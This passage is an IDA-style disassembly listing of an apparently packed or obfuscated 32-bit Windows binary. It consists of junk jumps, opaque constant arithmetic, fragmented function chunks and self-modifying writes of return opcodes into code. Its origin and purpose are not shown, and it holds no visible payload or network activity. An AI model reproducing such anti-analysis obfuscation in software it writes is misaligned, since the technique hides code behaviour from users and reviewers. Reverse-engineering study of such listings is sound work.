		jmp	loc_45A3DD
; ---------------------------------------------------------------------------

loc_4476C3:				; CODE XREF: dviuq5id:004448ACj
		jmp	loc_4503DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EEAC

loc_4476C8:				; CODE XREF: sub_43EEAC+3j
		jmp	loc_44E6D4
; END OF FUNCTION CHUNK	FOR sub_43EEAC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451EEC

loc_4476CD:				; CODE XREF: sub_451EEC-5093j
		jz	loc_44E79D
		xor	ebp, 0E326DEDh
		cmp	ebp, eax
		jmp	loc_44F636
; END OF FUNCTION CHUNK	FOR sub_451EEC
; ---------------------------------------------------------------------------
		cdq
		jmp	loc_452556
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440C61

loc_4476E6:				; CODE XREF: sub_440C61-3DA6j
		push	esi
		push	693F5534h
		sub	esi, eax
		jmp	loc_44DDDA
; END OF FUNCTION CHUNK	FOR sub_440C61
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_423. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AE68

loc_4476F4:				; CODE XREF: sub_43AE68+11116j
		jmp	loc_451306
; END OF FUNCTION CHUNK	FOR sub_43AE68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_4476F9:				; CODE XREF: sub_4492F0:loc_45187Ej
					; sub_4492F0+859Cj
		add	eax, 0BB7B04C4h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_4553F3
		jmp	loc_45A01C
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BAF7

loc_44770E:				; CODE XREF: sub_44BAF7+Dj
		sub	edx, 0EABB78ACh
		or	edx, 0F6256FE3h
		add	edx, 8D75A3Eh
		xchg	edx, [esp+4+var_4]
		jmp	loc_44D516
; END OF FUNCTION CHUNK	FOR sub_44BAF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_447728:				; CODE XREF: sub_44B2EA-F339j
		jnz	loc_43C6A6
		jmp	loc_43B021
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; ---------------------------------------------------------------------------
		db  1Bh
		db 0F2h	; ò
		db 0E9h	; é
		db  2Eh	; .
		db  3Ah	; :
		db 0FFh
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_44773A:				; CODE XREF: dviuq5id:004414B3j
					; sub_44E1C0:loc_44EED6j
		jle	nullsub_341
		and	ebx, 0D950573Eh

loc_447746:				; CODE XREF: dviuq5id:loc_448F1Dj
		sub	edi, 6AD24562h
		add	edi, 66F9B87Ch
		xchg	edi, [esp+0]
		jmp	loc_457D0A
; END OF FUNCTION CHUNK	FOR sub_44E1C0
; ---------------------------------------------------------------------------
		push	edi
		mov	edi, ecx
		xchg	edi, [esp]
; START	OF FUNCTION CHUNK FOR sub_447C0B

loc_447760:				; CODE XREF: sub_447C0B:loc_43E206j
		jmp	loc_441742
; END OF FUNCTION CHUNK	FOR sub_447C0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45002A

loc_447765:				; CODE XREF: sub_45002A+69F7j
		push	0BA9F1262h
		pop	eax
		rol	eax, 0Fh
		and	eax, 46E896BBh
		jmp	loc_43FA8C
; END OF FUNCTION CHUNK	FOR sub_45002A
; ---------------------------------------------------------------------------
		db 0C8h, 40h, 0DCh
dword_44777C	dd 77EB36A5h		; DATA XREF: dviuq5id:0043A956w
					; sub_44C80D+7C5w
; ---------------------------------------------------------------------------

loc_447780:				; CODE XREF: dviuq5id:0043E789j
		jmp	loc_452E3B
; ---------------------------------------------------------------------------
		db 83h,	48h, 60h
dword_447788	dd 0			; DATA XREF: sub_441CEF+3o
					; sub_443304+4o ...
dword_44778C	dd 77E60000h		; DATA XREF: sub_4403E5+4r
					; sub_44F719+Dw ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455B54

loc_447790:				; CODE XREF: sub_455B54-152CCj
		jmp	loc_445B42
; END OF FUNCTION CHUNK	FOR sub_455B54
; ---------------------------------------------------------------------------
		db 76h,	9Ch, 14h
dword_447798	dd 0E693566Dh, 9166D895h, 0D8366417h, 0FBF7E900h
					; DATA XREF: dviuq5id:00448D27o
					; sub_441645+F332o
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D45B

loc_4477AA:				; CODE XREF: sub_44D45B-BD1Ej
		jmp	sub_4454EA
; END OF FUNCTION CHUNK	FOR sub_44D45B
; ---------------------------------------------------------------------------
		db 0B9h
byte_4477B0	db 1			; DATA XREF: sub_44F0CA-51F2w
					; sub_44AF7D+3r ...
; ---------------------------------------------------------------------------

loc_4477B1:				; CODE XREF: dviuq5id:loc_43D177j
		mov	edi, 5F66DDF7h
		test	edi, 5626A4FCh
		jmp	loc_4577E8
; ---------------------------------------------------------------------------

loc_4477C1:				; CODE XREF: dviuq5id:004409C5j
		cmp	ebp, 98783646h
		jmp	loc_43B573
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E421

loc_4477CC:				; CODE XREF: sub_43E421:loc_457889j
		push	edx
		shl	ecx, 0Dh
		sbb	edi, ecx
		jmp	loc_4596AE
; END OF FUNCTION CHUNK	FOR sub_43E421

; =============== S U B	R O U T	I N E =======================================



sub_4477D7	proc near		; DATA XREF: sub_4477D7+A0D0o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0043CDE3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043EB07 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EDDB SIZE 0000001C BYTES
; FUNCTION CHUNK AT 004413DC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004434DC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00443918 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00450A2F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00450C40 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004516CA SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0045189B SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00453480 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004552A8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004563F1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004572D1 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00458A6A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00458BE2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004598E2 SIZE 00000012 BYTES

		cmp	byte ptr [eax],	0
		jnz	loc_43CDE3
sub_4477D7	endp

; START	OF FUNCTION CHUNK FOR sub_449485

loc_4477E0:				; CODE XREF: sub_449485:loc_450A88j
		jmp	loc_4596CF
; END OF FUNCTION CHUNK	FOR sub_449485
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4499A3

loc_4477E5:				; CODE XREF: sub_4499A3+303Cj
		shl	ecx, 1Fh
		jmp	loc_452033
; END OF FUNCTION CHUNK	FOR sub_4499A3
; ---------------------------------------------------------------------------

loc_4477ED:				; CODE XREF: dviuq5id:loc_45A629j
		cmp	dword ptr [ebp-4], 7
		jnz	loc_447D2A

loc_4477F7:				; CODE XREF: dviuq5id:loc_453AB8j
		jmp	loc_44C29F
; ---------------------------------------------------------------------------
		jmp	ds:dword_41D128
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C5CC

loc_447802:				; CODE XREF: sub_43C5CC+1338Ej
		jmp	nullsub_209
; END OF FUNCTION CHUNK	FOR sub_43C5CC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_478. PRESS KEYPAD	"+" TO EXPAND]
		dd 0FF42E383h, 48B5AFFh, 0F90B5724h, 3016E9h, 9378BB00h
		dd 28E9A212h
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446DD8

loc_447823:				; CODE XREF: sub_446DD8:loc_453378j
		or	ecx, 13BAD3F1h
		test	edi, 3EC58231h
		jmp	loc_43B8C9
; END OF FUNCTION CHUNK	FOR sub_446DD8
; ---------------------------------------------------------------------------

loc_447834:				; CODE XREF: dviuq5id:0043A2C9j
		xor	ecx, eax

loc_447836:				; CODE XREF: dviuq5id:loc_43B7A7j
		call	nullsub_466
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_276. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4574E7

loc_44783D:				; CODE XREF: sub_4574E7+Bj
		call	sub_43938B
		jmp	loc_44E30A
; END OF FUNCTION CHUNK	FOR sub_4574E7
; ---------------------------------------------------------------------------
		push	edx
		jmp	loc_441DD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442BFE

loc_44784D:				; CODE XREF: sub_442BFE+134C7j
		sbb	ecx, ebx
		sbb	ebp, edi
		jmp	loc_45434A
; END OF FUNCTION CHUNK	FOR sub_442BFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D53C

loc_447856:				; CODE XREF: sub_43D53C:loc_441017j
		mov	byte ptr [eax],	0C3h
		jmp	loc_441155
; END OF FUNCTION CHUNK	FOR sub_43D53C
; ---------------------------------------------------------------------------
		call	nullsub_477
		jmp	ds:dword_41D15C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4579D1

loc_447869:				; CODE XREF: sub_4579D1+1Bj
		jmp	loc_450D75
; END OF FUNCTION CHUNK	FOR sub_4579D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CCD1

loc_44786E:				; CODE XREF: sub_43CCD1+F16Bj
		jmp	nullsub_105
; END OF FUNCTION CHUNK	FOR sub_43CCD1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4489E1

loc_447873:				; CODE XREF: sub_4489E1+1B26j
		jmp	loc_457655
; END OF FUNCTION CHUNK	FOR sub_4489E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FBEA

loc_447878:				; CODE XREF: sub_43FBEA+2F05j
		jmp	sub_43FEBB
; END OF FUNCTION CHUNK	FOR sub_43FBEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E67F

loc_44787D:				; CODE XREF: dviuq5id:00440500j
					; sub_44E67F-8D93j
		jmp	nullsub_101
; END OF FUNCTION CHUNK	FOR sub_44E67F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440294

loc_447882:				; CODE XREF: sub_440294+10j
		jmp	loc_44A19C
; END OF FUNCTION CHUNK	FOR sub_440294
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_477. PRESS KEYPAD	"+" TO EXPAND]
		dd 0FFFF4731h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4489F3

loc_44788C:				; CODE XREF: sub_4489F3-A096j
		jmp	loc_456E75
; END OF FUNCTION CHUNK	FOR sub_4489F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D45B

loc_447891:				; CODE XREF: sub_44D45B+B4EEj
		jz	loc_44173A
		mov	[ebx], edi
		jmp	loc_44EEA2
; END OF FUNCTION CHUNK	FOR sub_44D45B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45002A

loc_44789E:				; CODE XREF: sub_45002A:loc_450036j
		popf
		or	edx, 704A0C24h
		jmp	loc_456A10
; END OF FUNCTION CHUNK	FOR sub_45002A
; ---------------------------------------------------------------------------
		mov	[eax], edi
		cmp	esi, ecx
		jmp	loc_43F1EB
; ---------------------------------------------------------------------------

loc_4478B3:				; CODE XREF: dviuq5id:loc_451A2Bj
		shl	ecx, 3
		rol	eax, 5
		add	edi, 35A90E80h
		jmp	loc_44125E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454465

loc_4478C4:				; CODE XREF: sub_454465-1710Dj
		rol	ecx, 1

loc_4478C6:				; CODE XREF: sub_454465:loc_43D34Aj
		add	ebx, 793CA314h
		mov	[ebx], eax
		pop	ebx
		lea	eax, sub_443669
		mov	byte ptr [eax],	0C3h
		jmp	loc_4442C0
; END OF FUNCTION CHUNK	FOR sub_454465
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EF1D

loc_4478DD:				; CODE XREF: sub_43EF1Dj
		mov	eax, [esp+0]

loc_4478E0:				; CODE XREF: dviuq5id:00440932j
		push	ebp
		jmp	loc_456106
; END OF FUNCTION CHUNK	FOR sub_43EF1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4551F9

loc_4478E6:				; CODE XREF: sub_4551F9:loc_43E223j
		jz	loc_4588E5
		jmp	loc_43E323
; END OF FUNCTION CHUNK	FOR sub_4551F9
; ---------------------------------------------------------------------------

loc_4478F1:				; CODE XREF: dviuq5id:00439313j
		jle	loc_45989A

; =============== S U B	R O U T	I N E =======================================



sub_4478F7	proc near		; CODE XREF: sub_445498+1548p

; FUNCTION CHUNK AT 00450912 SIZE 00000004 BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	edi, 7B43CA58h
		jmp	loc_450912
sub_4478F7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_447906:				; CODE XREF: dviuq5id:loc_445FEFj
		rol	edx, 1
		sub	edx, 8C5C0F82h
		add	edx, 8825D74Eh
		mov	[edx], eax
		pop	edx
		lea	eax, sub_445110
		mov	byte ptr [eax],	0C3h
		jmp	loc_44FF07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445110

loc_447925:				; CODE XREF: sub_445110+1j
		mov	eax, [esp+0]
		jmp	loc_43A598
; END OF FUNCTION CHUNK	FOR sub_445110
; ---------------------------------------------------------------------------
		push	eax
		ror	eax, 0Eh
		mov	ds:dword_43F078, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EFC2

loc_447938:				; CODE XREF: sub_44EFC2+314Fj
		jmp	sub_45A04B
; END OF FUNCTION CHUNK	FOR sub_44EFC2
; ---------------------------------------------------------------------------

loc_44793D:				; CODE XREF: dviuq5id:00448241j
		jmp	loc_456860
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44084F

loc_447942:				; CODE XREF: sub_44084F+Dj
		jmp	loc_450C9F
; END OF FUNCTION CHUNK	FOR sub_44084F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ADFB

loc_447947:				; CODE XREF: sub_43ADFB+19j
		jbe	sub_44D93D
		xchg	edx, ecx
		jmp	loc_44576A
; END OF FUNCTION CHUNK	FOR sub_43ADFB
; ---------------------------------------------------------------------------

loc_447954:				; CODE XREF: dviuq5id:00445CC9j
		mov	eax, [esp]
		call	sub_453DFD

loc_44795C:				; CODE XREF: dviuq5id:0043AACDj
		jmp	loc_442E34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44864B

loc_447961:				; CODE XREF: sub_44864B+10j
		pop	ebp
		or	edx, 0C441114h
		add	edx, 9A35C38Dh
		add	edx, ebp
		add	edx, 597D1C70h
		jmp	loc_43AAFA
; END OF FUNCTION CHUNK	FOR sub_44864B

; =============== S U B	R O U T	I N E =======================================



sub_44797B	proc near		; CODE XREF: sub_43C9A9+3p
					; dviuq5id:0044DD66j

arg_0		= dword	ptr  4

		xchg	ebx, [esp+0]
		pop	ebx
		xchg	ecx, [esp-4+arg_0]
		mov	ebp, esp
		jz	sub_44A33D
		jmp	sub_45A397
sub_44797B	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_266. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459983

loc_447990:				; CODE XREF: sub_459983:loc_43C731j
		mov	edx, ebx
		pop	ebx
		mov	[ebp-1Ch], eax
		mov	eax, [ebp-1Ch]
		mov	eax, [eax]
		jmp	loc_43EF3F
; END OF FUNCTION CHUNK	FOR sub_459983
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_168. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45799F

loc_4479A1:				; CODE XREF: sub_45799F+1D5Fj
		jmp	nullsub_381
; END OF FUNCTION CHUNK	FOR sub_45799F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457B95

loc_4479A6:				; CODE XREF: sub_457B95+10j
		jmp	loc_44A547
; END OF FUNCTION CHUNK	FOR sub_457B95
; ---------------------------------------------------------------------------
		sub	eax, 0E44BE040h
		jmp	sub_458527
; ---------------------------------------------------------------------------
		xor	edi, ebx
		jmp	sub_44E810
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450905

loc_4479BD:				; CODE XREF: dviuq5id:loc_4450C0j
					; sub_450905:loc_44E85Bj
		or	eax, eax
		jnz	loc_449823
		jmp	loc_4551BB
; END OF FUNCTION CHUNK	FOR sub_450905
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44ABE0

loc_4479CA:				; CODE XREF: sub_44ABE0+13j
		jz	loc_452E9F

loc_4479D0:				; CODE XREF: dviuq5id:00455289j
		jmp	loc_43BC05
; END OF FUNCTION CHUNK	FOR sub_44ABE0
; ---------------------------------------------------------------------------
		shl	ebx, 0Ah
		pop	eax
		mov	ebx, edi
		sbb	ebp, edx
		cmp	eax, 0A537BB9Dh
		jmp	loc_452E99
; ---------------------------------------------------------------------------

loc_4479E8:				; DATA XREF: sub_44A615+Ao
		mov	byte ptr [eax],	0C3h
		jmp	sub_44358D
; ---------------------------------------------------------------------------

loc_4479F0:				; CODE XREF: dviuq5id:loc_44B9B2j
		pop	edx
		mov	eax, [esp]
		push	edx
		call	sub_43D7C1
		mov	eax, 0F074E076h
		jmp	loc_451332
; ---------------------------------------------------------------------------
		push	ecx
		push	offset loc_451E29
		jmp	locret_43932A
; ---------------------------------------------------------------------------

loc_447A0F:				; DATA XREF: dviuq5id:0044F4E6o
		xchg	eax, [esp]
		call	sub_43D28E
		mov	eax, 11E35Ch
		call	sub_453642
		mov	ds:dword_41D128, eax
		jmp	loc_43CF44
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_305. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		add	edi, 5A000107h
		mov	eax, [esp]
		push	edx
		call	sub_44F0C2
		mov	eax, 0EA34346Fh
		push	offset loc_448DF3
		jmp	loc_4445FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CC2A

loc_447A4B:				; CODE XREF: sub_43CC2A:loc_44687Aj
		add	ebx, 94A17485h
		add	eax, ebx
		push	offset loc_445522
		jmp	nullsub_278
; END OF FUNCTION CHUNK	FOR sub_43CC2A
; ---------------------------------------------------------------------------

loc_447A5D:				; CODE XREF: dviuq5id:0044311Dj
					; dviuq5id:00456D9Bj
		cmp	edx, 59016ED3h
		jmp	loc_4529A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450686

loc_447A68:				; CODE XREF: sub_450686:loc_43C102j
		sub	edi, 0BC8C1E25h
		rol	edi, 5
		add	edi, 0F008259Ah
		xchg	edi, [esp+8+var_8]
		jmp	sub_445A59
; END OF FUNCTION CHUNK	FOR sub_450686
; ---------------------------------------------------------------------------
		push	677DC3E1h
		pop	eax
		jmp	loc_449300

; =============== S U B	R O U T	I N E =======================================



sub_447A8A	proc near		; CODE XREF: dviuq5id:00446DC8j
					; sub_441DDA+129CCp

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 004397EB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043D5B4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F1CF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00440A55 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004448F6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00444ACD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00447D62 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004485ED SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00448F5E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044CA17 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0044CFA9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E470 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00452031 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004564B4 SIZE 00000013 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		xor	ecx, 0C6B44A84h
		add	eax, ecx
		pop	ecx
		mov	eax, [eax]
		jmp	loc_43D5B4
sub_447A8A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_447A9E:				; CODE XREF: dviuq5id:00439E39j
		jg	loc_43940D
		sbb	edi, 0B79E0D6Dh
		adc	ebp, esi
		jmp	loc_457F4B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_385. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B9DA

loc_447AB2:				; CODE XREF: sub_44B9DA+E1B1j
		jmp	loc_454E6C
; END OF FUNCTION CHUNK	FOR sub_44B9DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C2F6

loc_447AB7:				; CODE XREF: sub_44C2F6+80F3j
		jmp	loc_444745
; END OF FUNCTION CHUNK	FOR sub_44C2F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447EE3

loc_447ABC:				; CODE XREF: sub_447EE3+1Cj
		jmp	loc_440924
; END OF FUNCTION CHUNK	FOR sub_447EE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_447AC1:				; CODE XREF: sub_43FDFB-2699j
		jmp	nullsub_283
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_447AC6:				; CODE XREF: dviuq5id:00439F76j
					; sub_44EAC4:loc_455E12j
		sub	ebp, 47C45F04h

loc_447ACC:				; CODE XREF: dviuq5id:00439F65j
		xor	eax, 6845F67Eh
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; START	OF FUNCTION CHUNK FOR sub_44FCBC

loc_447AD2:				; CODE XREF: sub_44FCBC:loc_43ED75j
		push	ecx
		pushf
		push	443FA00Ch
		pop	ecx
		jmp	loc_45949A
; END OF FUNCTION CHUNK	FOR sub_44FCBC

; =============== S U B	R O U T	I N E =======================================



sub_447ADF	proc near		; CODE XREF: sub_440C61:loc_448646p
					; dviuq5id:0044B921j

; FUNCTION CHUNK AT 0043CD3F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044055E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00449D10 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044D7F0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00459ADA SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		add	edx, 0F68751ADh
		add	edx, ebp
		add	edx, 458D2F71h
		jmp	loc_44D7F0
sub_447ADF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AD42

loc_447AF6:				; CODE XREF: sub_44AD42+17j
		jz	loc_447B01
		jmp	loc_44E85B
; ---------------------------------------------------------------------------

loc_447B01:				; CODE XREF: sub_44AD42:loc_447AF6j
					; sub_44AD42+9j
		jo	loc_43B416
		call	sub_448830
		cmp	ebp, 0E5FA9A3Dh
		jmp	loc_459AFD
; END OF FUNCTION CHUNK	FOR sub_44AD42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445817

loc_447B17:				; CODE XREF: sub_445817:loc_44ED56j
		add	eax, ebp
		add	eax, 1C83280Fh
		mov	eax, [eax]
		call	sub_43C9A9
		push	83BB36C9h
		pop	edx
		add	edx, 7932EAAh
		test	edx, 400000h
		jmp	loc_45811F
; END OF FUNCTION CHUNK	FOR sub_445817
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451EEC

loc_447B3D:				; CODE XREF: sub_451EEC-6A8Bj
		xchg	edx, ecx
		rol	edx, 0Dh
		jmp	loc_444953
; END OF FUNCTION CHUNK	FOR sub_451EEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1C4

loc_447B47:				; CODE XREF: sub_43B1C4:loc_446A4Ej
		or	edi, 9CCF02Ah
		add	edi, 0C447DCB1h
		xchg	edi, [esp+4+var_4]
		jmp	sub_44B27C
; END OF FUNCTION CHUNK	FOR sub_43B1C4
; ---------------------------------------------------------------------------

loc_447B5B:				; CODE XREF: dviuq5id:0045424Aj
		or	eax, eax
		jnz	loc_44C549
		jmp	loc_44FC4D
; ---------------------------------------------------------------------------
		mov	ebp, [ecx]
		jmp	sub_439FAF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_445. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_447B70:				; CODE XREF: dviuq5id:0043B38Bj
		jmp	nullsub_475
; ---------------------------------------------------------------------------
		cdq
		xchg	ebp, [esi]
		jmp	sub_43CB4C
; ---------------------------------------------------------------------------

loc_447B7D:				; CODE XREF: dviuq5id:00458365j
		pop	edx
		cdq

loc_447B7F:				; CODE XREF: dviuq5id:00458349j
		add	edx, 2978746Bh
		xor	edx, 0E9776BE6h
		push	offset sub_43E40D
		jmp	loc_44ECF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_447B95:				; CODE XREF: sub_43C4B5:loc_43C44Aj
					; dviuq5id:0043C458j
		sub	edx, 55FF20BCh
		add	edx, 4D05A2DBh
		sub	edx, 0F8EDC140h
		add	edx, 0CEEB4C6Dh
		mov	edx, [edx]
		or	edx, edx
		jnz	loc_44A54D
		jmp	loc_4589F7
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443862

loc_447BBC:				; CODE XREF: sub_443862-593Ej
					; sub_44A2CC:loc_44013Cj ...
		add	ebx, 53061A00h
		mov	[ebx], eax
		pop	ebx
		lea	eax, loc_455A3B
		mov	byte ptr [eax],	0C3h
		jmp	loc_449B1C
; END OF FUNCTION CHUNK	FOR sub_443862
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_234. PRESS KEYPAD	"+" TO EXPAND]
dword_447BD4	dd 0			; DATA XREF: sub_439C09:loc_44EE2Fr
					; sub_439C09:loc_45A646r
; ---------------------------------------------------------------------------

loc_447BD8:				; CODE XREF: dviuq5id:00443EACj
		jmp	sub_4463B7
; ---------------------------------------------------------------------------
		push	edi
		push	0E2784627h
		pop	edi
		jmp	loc_45011C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D022

loc_447BE9:				; CODE XREF: sub_44D022+835Cj
		jle	loc_456755

loc_447BEF:				; CODE XREF: sub_44D022:loc_449B50j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_453A23
		jmp	loc_43DDCF
; END OF FUNCTION CHUNK	FOR sub_44D022
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_447C00:				; CODE XREF: sub_446682:loc_45A30Bj
		jz	loc_43B81E
		jmp	loc_44FB8C
; END OF FUNCTION CHUNK	FOR sub_446682

; =============== S U B	R O U T	I N E =======================================



sub_447C0B	proc near		; DATA XREF: dviuq5id:00457A7Do

arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 00439A15 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E206 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043FB25 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00441742 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044399A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444E43 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447760 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448552 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004490E0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044AB0B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00451369 SIZE 00000005 BYTES

		test	eax, eax
		jz	loc_43B8FB
		jmp	loc_444E43
sub_447C0B	endp

; ---------------------------------------------------------------------------

locret_447C18:				; CODE XREF: dviuq5id:0044020Dj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB05

loc_447C19:				; CODE XREF: sub_43CB05+175F0j
		jmp	loc_441BC0
; END OF FUNCTION CHUNK	FOR sub_43CB05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4551F9

loc_447C1E:				; CODE XREF: sub_4551F9-6043j
		jmp	loc_4513AD
; END OF FUNCTION CHUNK	FOR sub_4551F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45944F

loc_447C23:				; CODE XREF: sub_45944Fj
		pop	edx
		mov	eax, [esp+0]
		push	ebp
		mov	ebp, edx
		jmp	loc_451170
